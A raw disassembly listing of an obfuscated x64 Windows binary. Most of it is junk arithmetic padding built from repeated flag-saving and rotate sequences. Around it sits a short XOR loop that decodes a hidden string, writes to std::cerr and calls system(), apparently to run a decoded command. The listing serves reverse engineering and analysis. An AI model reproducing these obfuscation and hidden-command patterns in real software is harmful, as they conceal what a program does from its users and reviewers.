xor eax, 0xadadd9a1
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x8bf8a975
xor eax, 0xec05a398
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xecea179c
xor eax, 0xbfdff448
rol eax, 0x5f
popf
jmp 0x14012efe3
mov eax, 0x1c1882bb
pushf
not eax
add eax, 0xf083b603
xor eax, 0xebfb135a
rol eax, 0xed
popf
pushf
not eax
add eax, 0xb2ae498d
xor eax, 0x8b58a655
rol eax, 0x10
popf
pushf
not eax
add eax, 0x9ed09bd9
xor eax, 0xe4d1f226
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xae4541f4
xor eax, 0xf0c0a5ab
rol eax, 0xac
popf
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x34
movzx eax, bl
sub al, dl
add al, 0x39
xor byte [r8], al
jmp 0x140131bb9
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x21
jl 0x140131bf7
push rax
pushf
mov eax, 0xb2fd0386
pushf
not eax
add eax, 0xa23b7d6c
xor eax, 0xb79455d5
rol eax, 0x50
popf
pushf
not eax
add eax, 0xcd92d8dc
xor eax, 0xa1628eb1
rol eax, 0x5a
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xc2e32965
pushf
not eax
add eax, 0xf0175f54
xor eax, 0xfba8e623
rol eax, 0x51
popf
pushf
not eax
add eax, 0xfe0e8d63
xor eax, 0xbdb29592
rol eax, 0xb
popf
pushf
not eax
add eax, 0x8d708f5b
xor eax, 0xebb9def6
rol eax, 0x27
popf
pushf
not eax
add eax, 0xce60e470
xor eax, 0x91605f3e
rol eax, 0xad
popf
jmp 0x14012efe3
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14011950b
lea rdx, [0x19568e075]
pushf
sub rdx, 0x556869a5
popf
mov rcx, rax
jmp 0x140131c77
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x1af951159]
pushf
sub rcx, 0x6f8da47d
popf
jmp 0x140131c90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, 0x85988eac
pushf
not ebx
add ebx, 0xcf049d0b
xor ebx, 0xbc4c841c
rol ebx, 0xb7
popf
pushf
not ebx
add ebx, 0xe69aec8c
xor ebx, 0xc7205c46
rol ebx, 0xe7
popf
lea rcx, [rbp - 0x50]
call fcn.1401187e8
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140131d1f
push rax
pushf
mov eax, 0x65f202e6
pushf
not eax
add eax, 0xcda48da5
xor eax, 0xc1b167a6
rol eax, 0x51
popf
pushf
not eax
add eax, 0xf963bd56
xor eax, 0xb7702ccf
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xdd3af76e
xor eax, 0xd699e337
rol eax, 0xba
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xc0bcd5c8
pushf
not eax
add eax, 0x91b522a2
xor eax, 0xa50f3a45
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xcaf6db21
xor eax, 0x8a580d25
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x95f4dc63
xor eax, 0xc35f7393
rol eax, 0x72
popf
jmp 0x14012efe3
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140131dbe
push rax
pushf
mov eax, 0x79503aa7
pushf
not eax
add eax, 0xd8539c90
xor eax, 0x8e68eab7
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xe45ab33a
xor eax, 0x9cf6ebb9
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x8ab5ef03
xor eax, 0xf4c47cb2
rol eax, 0xdd
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x19465b11
pushf
not eax
add eax, 0xdf77142b
xor eax, 0xdb0203d4
rol eax, 0x39
popf
pushf
not eax
add eax, 0xebe0c313
xor eax, 0x94030bec
rol eax, 0x84
popf
pushf
not eax
add eax, 0xcea00a37
xor eax, 0xc4caf22f
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xfe6b00f0
xor eax, 0xb99bbeee
rol eax, 0xf2
popf
jmp 0x14012efe3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140131e5f
push rax
pushf
mov eax, 0x39773e51
pushf
not eax
add eax, 0xaa5483ed
xor eax, 0xb971b33e
rol eax, 0xe
popf
pushf
not eax
add eax, 0xcea25200
xor eax, 0x9758df94
rol eax, 0x8b
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xf95d778a
pushf
not eax
add eax, 0x821556c0
xor eax, 0xef28973d
rol eax, 0x82
popf
pushf
not eax
add eax, 0xed33b167
xor eax, 0xac9fe798
rol eax, 0x66
popf
pushf
not eax
add eax, 0xad992dd9
xor eax, 0xa33b766f
rol eax, 2
popf
jmp 0x14012efe3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011ca1a
push rax
pushf
mov eax, 0x2fb06138
pushf
not eax
add eax, 0x94e85e16
xor eax, 0xc3bed1d6
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x9fbbcffd
xor eax, 0xce89ae88
rol eax, 0x91
popf
jmp 0x14012efe3
mov eax, ebx
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.1401278d0
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret